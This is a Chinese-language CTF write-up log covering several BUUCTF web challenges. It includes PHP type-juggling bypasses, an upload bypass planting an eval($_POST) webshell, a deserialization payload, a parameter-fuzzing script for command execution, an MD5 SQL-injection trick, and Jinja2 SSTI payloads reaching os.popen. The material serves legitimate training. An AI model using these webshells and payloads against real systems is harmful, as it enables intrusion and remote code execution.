Week 4<2020.08.03 - 2020.08.09>

[ACTF2020 新生赛]BackupFile

网页给出提示Try to find out source file!
访问备份文件:/index.php.bak
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

即:
以GET方式传参,key值等于”123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”(字符串)
key值要求为数字

考点:

PHP的弱类型特性,int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉

payload: /?key=123

flag{32bbbcc8-df1b-419c-b0f7-fc8fe3bd9e48}

[极客大挑战 2019]BuyFlag

查看源代码,/pay.php

网页源代码注意到:

1
2
3
4
5
6
7
8
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

burpsuite拦截:
image-20200806022344298

repeater:

image-20200806025631219

绕过is_numeric()的方法:

php中的is_numeric()漏洞
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!

image-20200806025600159

提示 Flag need your 100000000 money

image-20200806025538945

注:这里也可以用科学计数法绕过
image-20200806025510788

[网鼎杯 2018]Fakebook

[ACTF2020 新生赛]Upload

随便上传一个文件

报错:

image-20200810024847689

抓包,修改后缀为.phtml,内容是

1
2
GIF89a
<script language='php'>@eval($_POST['ye']);</script>

上传成功

image-20200810025324304

蚁剑连接,在根目录下找到flag

image-20200810025309017

flag{9b3cc74d-daad-4ad2-a788-82c9d0c3ec16}

[ZJCTF 2019]NiZhuanSiWei

网页代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}

payload:
http://0c868115-eafc-49ed-8f9c-279c0a0dc9ec.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D

flag{77a1ae97-c1ad-44d3-b1e0-99c77f190391}

[强网杯 2019]高明的黑客

利用脚本寻找利用点

分析脚本(转载https://blog.csdn.net/a3320315/article/details/102945940)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

payload
/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

flag{9b7d075f-096d-42b2-8cf6-69d0fbf34c12}

[BJDCTF2020]Easy MD5

考点:

password=’”.md5($pass,true).”‘

ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是1select * from ‘admin’ where password=’’ or ‘6xxxxx’

等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

md5 bypass

md5()或者sha1()之类的函数计算的是一个字符串的哈希值,对于数组则返回false,如果$a和$b都是数组则双双返回FALSE, 两个FALSE相等得以绕过

[BJDCTF 2nd]fake google

一通乱试看到页面注释有<!--ssssssti & a little trick -->

payload

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

找到flag位置

paylaod

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

回显flag